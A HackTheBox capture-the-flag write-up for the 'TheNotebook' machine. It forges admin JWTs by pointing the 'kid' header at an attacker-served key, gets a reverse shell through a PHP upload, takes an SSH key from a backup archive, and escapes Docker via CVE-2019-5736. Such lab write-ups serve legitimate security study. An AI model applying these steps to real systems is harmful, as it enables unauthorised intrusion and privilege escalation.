TheNotebook

CTF	HackTheBox
Category	Writeup
Created	@July 7, 2021 3:52 AM
Date	
Description	
Fields	Pentest
Level	Medium
Tags	Container Escape, Docker, JWT

Info

Credential

User	Password	Service	Note
admin		Notebook	
noah		System	
admin		notebook.local	
noah		notebook.local	

Path

User

Get the Admin Permission of the Website

1. By the error message at the login page, we know `admin` user exist.
2. Found that if we change the `uuid` part in the url, we will get the notes page of the other user. So maybe we can do something with the `uuid`.
3. Found the first part of the `auth` is base64 encoded, and it reveals that the auth token is JWT. Because the `kid` field, which is used to specify the key for validating the signature, is an URI, we can manipulate it to our use.

```
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Imh0dHA6Ly9sb2NhbGhvc3Q6NzA3MC9wcml2S2V5L
mtleSJ9.eyJ1c2VybmFtZSI6ImljZTExODciLCJlbWFpbCI6ImljZTExODdAaWNlL
mNvbSIsImFkbWluX2NhcCI6ZmFsc2V9.qGYHmp9kTL0ScBHg0ErvlL2sNGBL5qruneYvIjdYnDPmlzd-wxXzN
BIg6e_7SprKNaVArhsCAK6wo7n8QmOf87PggTRLPGqArvE5VIE6p1FQ3s7a6X-276
zuXNwzmGZi4FLX26mpI_PwgLOLM5vNLbTszsyXeJgVODMBDZZfUfk9-ih2IpVJt6kZYtQT-lcfayfQ2oChE7y
Wq62Xel1CfInP6_fwg5ylBJAdnNDwv6S5l87rqPOZJAMDaPcvslhUdxUO63NGGdgX
OCCB56x-KM6ezgqjnYuyIm6QHUdVGpMKY4M8Leqxhtlo5VHBVu1oVpRVKpc8WUywgm0g_5-LeZ3bb9LDU2PxQ
uP5I67rJz2edI_O-R8E28R55CItuvQZZ7wVpr2wyS_cDjpGfgywKx-zD83j3Od4a5
Yt7l6hVCSAM1QScgUJLhfod7OAflOo_DyMrB387TObhYKdYHhV5VbLdlHTzf7m3TTicmPkJDE7YW6WHWnHGhn
k4fL2wkpiHo-EuPy_4PgH10g5KbEuNp0GkgWNZCnNgizEUgrP_L7IpWxVwyvrPk-l
e_oq70IXPooni4h65_P_bFaugpvuVbqO-YIb7RDPZKYvt6Bvh5IGetdjUuj93q-_WyHi53jYVklG13A_oXFrJ
spdxdJPqE8Xwq_kop8vNWHAFAqkYFo

{"typ":"JWT","alg":"RS256","kid":"<http://localhost:7070/privKey.key"}{"username":"ic
e1187","email":"ice1187@ice.com","admin_cap":false}
```

4. Create a fake JWT token and change the cookie in the browser to it, then we can get admin permission!

```
$ openssl genrsa -out key 4096
$ openssl rsa -in key -outpub > key.pub
$ python3 jwts.py
b'eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Imh0dHA6Ly8xMC4xMC4xNi4xMDoxMzMzOC9rZXk
ucHViIn0.eyJ1c2VybmFtZSI6ImljZTExODciLCJlbWFpbCI6ImljZTExODdAaWNl
LmNvbSIsImFkbWluX2NhcCI6dHJ1ZX0.kgCjMWWLvqfdQ7LL4nvoRLshzq-0gHBCAqpr7K-jxpMLKpcSduDTR
WGMeUXC7IWCQku8q6k8thZu8mssHwwy1l7EkN2sCvxUgyiUGAkQr3GrWJJdMLVck5
XF-gBONIu49UhO3CBnQn_GSMK7WspqeDWqjon7jiBAg33XVSOlPJiH16zkUatFnCFugrxCak1YKbJm3gTYPex
4wJbhxmnTGNXNC-ab9iBLsAasiWrI8wSVYg3uKgYOxWMrpIXs1LLK-jPpeSdjg1fx
0SpeGEWTctjWx1uPqjIF41POWN7llqZ31VPOpxNpYD8T8mYbT8mKN8QtA6Z2tDLclCU3i5nDHKKp9cXxdMmKr
uNmXzTJT1Xe-zrbNPp6Vd8hVAoCGb-GLhmDPxCo7I_MGUDTKI5E7vChVckrIXS2yo
2yMTHmTysYcEfKfn-XJJd8qHZZpsi9bX7qA4DrI_gBJWhfbyDsS4-WBg6Od-KiTxSRkwDwn4eDSwWp7Fb68I1
BYFByRuM82MzeKeYVisPiKjdBUebvwuT0RQxRR-E7ihqr77EQf9n-k1C3MJy2wJab
zg-MTZ1y_ohNhlZE0wo1DLqmdVCRi_TekT1-u7G89o45Gm46SPM9qG7oEmwRAvgo27qpK1WfC1JpDWwynPdPx
xPmNHKDg46F4GRgsSpBdtWwwU1nrfE'  # put this is the browser
$ python3 -m http.server 13338  # serve key to the server
# Go visit the website again
```

PHP Reverse Shell

From the admin panel, we can upload php file. So we upload a `cmd.php` to execute command and a `rev.sh`, which is a bash reverse shell. Then we use `cmd.php` to execute `rev.sh` to get reverse shell.

Get User `noah`

There is a weird file `home.tar.gz` in `/var/backups/`, and it contains the private key of user `noah`. So use the key to login SSH as `noah`.

Root

1. We can run `docker exec -it webapp01*'` with sudo.

   In the container, we can see the website is connected to SQLite at `/tmp/webapp.db`, since there is no command available but only python library, we use python to connect to it. But only to found nothing interesting.

   ```
   root@54a0b3a1dd9d:/tmp# find / -name sqlite*
   /usr/include/sqlite3ext.h
   /usr/include/sqlite3.h
   /usr/lib/x86_64-linux-gnu/pkgconfig/sqlite3.pc
   /usr/lib/python3.7/sqlite3
   /usr/lib/python2.7/sqlite3
   /usr/lib/python2.7/dist-packages/hgext/sqlitestore.py
   /usr/lib/python2.7/dist-packages/hgext/sqlitestore.pyc
   /usr/local/lib/python3.8/site-packages/sqlalchemy/dialects/sqlite
   /usr/local/lib/python3.8/sqlite3
   # python3
   >>> import sqlite3
   ...
   ```

2. Google for Docker Escape, since `gcc` is available in the container, I found CVE-2019-5736 might be useful from this article and the exploit here.
3. Modify `bad_init.sh` to execute a reverse shell, then deliver the exploit on to the container and follow the README in the exploit to get gain root.
4. Get flag!